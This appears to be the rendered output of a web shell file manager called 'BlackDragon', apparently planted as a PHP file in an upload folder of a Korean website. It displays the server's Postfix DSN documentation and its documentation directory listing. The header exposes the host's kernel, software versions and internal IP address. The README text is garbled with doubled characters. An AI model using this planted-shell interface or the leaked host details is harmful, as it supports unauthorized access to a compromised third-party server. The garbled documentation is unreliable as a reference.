walking.or.kr:80

Linux gcloud-seoul-ac4c28f9ef4b3e1b6ecaa706e0113ee7 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
10.25.199.2

File Name : DSN_README

PPoossttffiixx DDSSNN SSuuppppoorrtt

-------------------------------------------------------------------------------

IInnttrroodduuccttiioonn

Postfix version 2.3 introduces support for Delivery Status Notifications as
described in RFC 3464. This gives senders control over successful and failed
delivery notifications.

Specifically, DSN support gives an email sender the ability to specify:

* What notifications are sent: success, failure, delay, or none. Normally,
    Postfix informs the sender only when mail delivery is delayed or when
    delivery fails.

* What content is returned in case of failure: only the message headers, or
    the full message.

* An envelope ID that is returned as part of delivery status notifications.
    This identifies the message submission transaction, and must not be
    confused with the message ID, which identifies the message content.

The implementation of DSN support involves extra parameters to the SMTP MAIL
FROM and RCPT TO commands, as well as two Postfix sendmail command line options
that provide a sub-set of the functions of the extra SMTP command parameters.

This document has information on the following topics:

* Restricting the scope of "success" notifications
  * Postfix sendmail command-line interface
  * Postfix VERP support compatibility

RReessttrriiccttiinngg tthhee ssccooppee ooff ""ssuucccceessss"" nnoottiiffiiccaattiioonnss

Just like reports of undeliverable mail, DSN reports of successful delivery can
give away more information about the internal infrastructure than desirable.
Unfortunately, disallowing "success" notification requests requires disallowing
other DSN requests as well. The RFCs do not offer the option to negotiate
feature subsets.

This is not as bad as it sounds. When you turn off DSN for remote inbound mail,
remote senders with DSN support will still be informed that their mail reached
your Postfix gateway successfully; they just will not get successful delivery
notices from your internal systems. Remote senders lose very little: they can
no longer specify how Postfix should report delayed or failed delivery.

Use the smtpd_discard_ehlo_keyword_address_maps feature if you wish to allow
DSN requests from trusted clients but not from random strangers (see below for
how to turn this off for all clients):

/etc/postfix/main.cf:
        smtpd_discard_ehlo_keyword_address_maps =
            cidr:/etc/postfix/esmtp_access

/etc/postfix/esmtp_access:
        # Allow DSN requests from local subnet only
        192.168.0.0/28      silent-discard
        0.0.0.0/0           silent-discard, dsn
        ::/0                silent-discard, dsn

If you want to disallow all use of DSN requests from the network, use the
smtpd_discard_ehlo_keywords feature:

/etc/postfix/main.cf:
        smtpd_discard_ehlo_keywords = silent-discard, dsn

PPoossttffiixx sseennddmmaaiill ccoommmmaanndd--lliinnee iinntteerrffaaccee

Postfix has two Sendmail-compatible command-line options for DSN support.

* The first option specifies what notifications are sent for mail that is
    submitted via the Postfix sendmail(1) command line:

$ sseennddmmaaiill --NN ssuucccceessss,,ddeellaayy,,ffaaiilluurree ...... (one or more of these)
        $ sseennddmmaaiill --NN nneevveerr ......                 (or just this by itself)

The built-in default corresponds with "delay,failure".

* The second option specifies an envelope ID which is reported in delivery
    status notifications for mail that is submitted via the Postfix sendmail(1)
    command line:

$ sseennddmmaaiill --VV eennvveellooppee--iidd ......

Note: this conflicts with VERP support in older Postfix versions, as
    discussed in the next section.

PPoossttffiixx VVEERRPP ssuuppppoorrtt ccoommppaattiibbiilliittyy

With Postfix versions before 2.3, the sendmail(1) command uses the -V command-
line option to request VERP-style delivery. In order to request VERP style
delivery with Postfix 2.3 and later, you must specify -XV instead of -V.

The Postfix 2.3 sendmail(1) command will recognize if you try to use -V for
VERP-style delivery. It will do the right thing and will remind you of the new
syntax.

System Information
*ReClick For Close
File : BlackDragon /bbs/upfile/notice/202307230555476_1.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	0755	2020-06-24 04:03:24
..	dir	-	root/root	0755	2020-06-24 04:03:24
AAAREADME	text/plain	2.81 KB	root/root	0644	2011-12-09 06:44:41
ADDRESS_CLASS_README	text/plain	9.33 KB	root/root	0644	2007-03-25 02:53:46
ADDRESS_REWRITING_README	text/plain	42.68 KB	root/root	0644	2010-02-10 03:51:30
ADDRESS_VERIFICATION_README	text/plain	21.89 KB	root/root	0644	2012-10-01 06:01:50
BACKSCATTER_README	text/plain	12.49 KB	root/root	0644	2011-03-22 12:33:00
BASIC_CONFIGURATION_README	text/plain	20.91 KB	root/root	0644	2011-10-01 12:52:01
BUILTIN_FILTER_README	text/plain	13.94 KB	root/root	0644	2009-04-04 11:09:26
CDB_README	text/plain	2.69 KB	root/root	0644	2008-01-12 02:31:35
CONNECTION_CACHE_README	text/plain	8.96 KB	root/root	0644	2010-01-08 06:40:27
CONTENT_INSPECTION_README	text/plain	3.29 KB	root/root	0644	2006-05-15 09:33:58
DATABASE_README	text/plain	14.47 KB	root/root	0644	2012-03-18 03:38:48
DB_README	text/plain	7.58 KB	root/root	0644	2012-01-17 08:00:27
DEBUG_README	text/plain	17.71 KB	root/root	0644	2011-10-14 05:56:01
DSN_README	text/plain	4.33 KB	root/root	0644	2007-03-22 07:25:31
ETRN_README	text/plain	11.4 KB	root/root	0644	2007-03-23 06:49:17
FILTER_README	text/plain	28.61 KB	root/root	0644	2012-10-05 08:07:10
INSTALL	text/plain	41.28 KB	root/root	0644	2013-02-06 10:08:43
IPV6_README	text/plain	11.79 KB	root/root	0644	2012-08-02 07:07:06
LDAP_README	text/plain	20.42 KB	root/root	0644	2010-12-02 04:23:59
LINUX_README	text/plain	2.32 KB	root/root	0644	2012-10-11 02:17:57
LOCAL_RECIPIENT_README	text/plain	5.65 KB	root/root	0644	2007-03-25 05:36:06
MAILDROP_README	text/plain	5.23 KB	root/root	0644	2010-01-08 03:39:54
MEMCACHE_README	text/plain	2.27 KB	root/root	0644	2012-01-19 07:35:16
MILTER_README	text/plain	37.37 KB	root/root	0644	2011-08-17 12:20:18
MULTI_INSTANCE_README	text/plain	42.5 KB	root/root	0644	2012-10-07 12:55:45
MYSQL_README	text/plain	4.31 KB	root/root	0644	2008-01-12 02:14:53
NFS_README	text/plain	4.73 KB	root/root	0644	2009-01-11 01:57:07
OVERVIEW	text/plain	20.31 KB	root/root	0644	2011-04-16 02:07:09
PACKAGE_README	text/plain	5.47 KB	root/root	0644	2011-06-23 04:31:17
PCRE_README	text/plain	2.87 KB	root/root	0644	2008-01-12 02:14:54
PGSQL_README	text/plain	4.4 KB	root/root	0644	2008-01-12 02:14:54
POSTSCREEN_README	text/plain	35.9 KB	root/root	0644	2012-11-24 10:48:31
QSHAPE_README	text/plain	36.63 KB	root/root	0644	2010-09-11 01:40:05
RELEASE_NOTES	text/plain	9.82 KB	root/root	0644	2013-06-14 01:09:41
RESTRICTION_CLASS_README	text/plain	6.97 KB	root/root	0644	2012-10-06 11:56:29
SASL_README	text/plain	64.83 KB	root/root	0644	2012-11-12 11:53:21
SCHEDULER_README	text/plain	65.42 KB	root/root	0644	2011-11-28 12:38:03
SMTPD_ACCESS_README	text/plain	20.54 KB	root/root	0644	2012-10-07 03:28:05
SMTPD_POLICY_README	text/plain	21.84 KB	root/root	0644	2012-09-30 10:32:22
SMTPD_PROXY_README	text/plain	11.88 KB	root/root	0644	2012-10-05 08:07:10
SOHO_README	text/plain	12.71 KB	root/root	0644	2012-11-12 11:53:21
SQLITE_README	text/plain	2.16 KB	root/root	0644	2010-07-28 02:32:14
STANDARD_CONFIGURATION_README	text/plain	26.56 KB	root/root	0644	2012-10-12 06:12:58
STRESS_README	text/plain	19.5 KB	root/root	0644	2012-06-17 08:28:21
TLS_LEGACY_README	text/plain	51.46 KB	root/root	0644	2009-04-17 09:56:03
TLS_README	text/plain	92.46 KB	root/root	0644	2013-02-03 06:18:08
TUNING_README	text/plain	24.05 KB	root/root	0644	2012-09-02 11:46:23
ULTRIX_README	text/plain	1.96 KB	root/root	0644	2004-04-11 09:05:34
UUCP_README	text/plain	5.14 KB	root/root	0644	2004-12-09 12:07:13
VERP_README	text/plain	7.35 KB	root/root	0644	2012-10-01 06:01:50
VIRTUAL_README	text/plain	23.52 KB	root/root	0644	2012-08-01 10:38:30
XCLIENT_README	text/plain	9.51 KB	root/root	0644	2011-12-18 10:59:48
XFORWARD_README	text/plain	8.57 KB	root/root	0644	2010-09-10 08:40:22